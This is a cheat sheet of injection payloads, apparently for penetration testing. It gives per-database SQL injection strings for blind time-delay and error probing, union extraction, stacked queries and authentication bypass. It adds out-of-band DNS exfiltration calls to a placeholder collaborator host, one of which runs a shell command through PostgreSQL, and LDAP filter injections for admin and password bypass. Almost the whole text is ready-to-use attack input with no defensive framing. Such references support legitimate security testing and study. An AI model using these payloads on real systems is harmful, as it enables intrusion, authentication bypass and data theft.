🗃️ SQL Injection Payloads - Complete Reference
Oracle String Concat
'foo'||'bar'
Oracle string concatenation operator
MS SQL String Concat
'foo'+'bar'
Microsoft SQL Server concatenation
PostgreSQL Concat
'foo'||'bar'
PostgreSQL concatenation
MySQL Space Concat
'foo' 'bar'
MySQL space concatenation
MySQL CONCAT Function
CONCAT('foo','bar')
MySQL CONCAT() function
Oracle SUBSTR
SUBSTR('foobar',4,2)
Oracle substring extraction
MS SQL SUBSTRING
SUBSTRING('foobar',4,2)
Microsoft SQL Server substring
PostgreSQL SUBSTRING
SUBSTRING('foobar',4,2)
PostgreSQL substring
MySQL SUBSTRING
SUBSTRING('foobar',4,2)
MySQL substring
Oracle Comment
--comment
Oracle/PostgreSQL comment
MS SQL Comment
/*comment*/
Microsoft SQL Server comment
MySQL Hash Comment
#comment
MySQL hash comment
MySQL Double Dash
-- comment
MySQL double dash with space
Oracle Version
SELECT banner FROM v$version
Oracle database version
MS SQL Version
SELECT @@version
Microsoft SQL Server version
PostgreSQL Version
SELECT version()
PostgreSQL version
MySQL Version
SELECT @@version
MySQL version
Oracle Time Delay
dbms_pipe.receive_message(('a'),10)
Oracle 10 second delay
MS SQL Time Delay
WAITFOR DELAY '0:0:10'
MS SQL 10 second delay
PostgreSQL Time Delay
SELECT pg_sleep(10)
PostgreSQL 10 second delay
MySQL Time Delay
SELECT SLEEP(10)
MySQL 10 second delay
Oracle Conditional Delay
SELECT CASE WHEN (YOUR-CONDITION) THEN 'a'||dbms_pipe.receive_message(('a'),10) ELSE NULL END FROM dual
Oracle conditional time delay
MS SQL Conditional Delay
IF (YOUR-CONDITION) WAITFOR DELAY '0:0:10'
MS SQL conditional delay
PostgreSQL Conditional Delay
SELECT CASE WHEN (YOUR-CONDITION) THEN pg_sleep(10) ELSE pg_sleep(0) END
PostgreSQL conditional delay
MySQL Conditional Delay
SELECT IF(YOUR-CONDITION,SLEEP(10),'a')
MySQL conditional delay
Oracle Conditional Error
SELECT CASE WHEN (YOUR-CONDITION) THEN TO_CHAR(1/0) ELSE NULL END FROM dual
Oracle conditional error
MS SQL Conditional Error
SELECT CASE WHEN (YOUR-CONDITION) THEN 1/0 ELSE NULL END
MS SQL conditional error
PostgreSQL Conditional Error
1 = (SELECT CASE WHEN (YOUR-CONDITION) THEN 1/(SELECT 0) ELSE NULL END)
PostgreSQL conditional error
MySQL Conditional Error
SELECT IF(YOUR-CONDITION,(SELECT table_name FROM information_schema.tables),'a')
MySQL conditional error
Oracle DNS Lookup
SELECT UTL_INADDR.get_host_address('BURP-COLLABORATOR-SUBDOMAIN')
Oracle DNS exfiltration
MS SQL DNS Lookup
exec master..xp_dirtree '//BURP-COLLABORATOR-SUBDOMAIN/a'
MS SQL DNS lookup
PostgreSQL DNS Lookup
copy (SELECT '') to program 'nslookup BURP-COLLABORATOR-SUBDOMAIN'
PostgreSQL DNS exfiltration
MySQL DNS Lookup
LOAD_FILE('\\\\BURP-COLLABORATOR-SUBDOMAIN\\a')
MySQL DNS (Windows only)
Basic Auth Bypass
' OR '1'='1
Basic authentication bypass
Union Based Extraction
1' UNION SELECT NULL, version(), user()--
Union-based data extraction
Stacked Query
QUERY-1-HERE; QUERY-2-HERE
Batched stacked queries
🛡️ XSS Payloads - Complete Reference (Encoded Safe)
📋 LDAP Injection Payloads
Wildcard Bypass
*)(&)
Basic wildcard injection
Always True
(&(user=*))
Always true condition
Admin Bypass
admin*)(uid=*))(|(uid=*
Admin authentication bypass
Object Class
admin)(&(objectClass=*))
Object class injection
Single Wildcard
*
Simple wildcard match all
CN Injection
*)(&(cn=admin))
Common name injection
Password Bypass
)(&(userPassword=*))(|(uid=*
Password field injection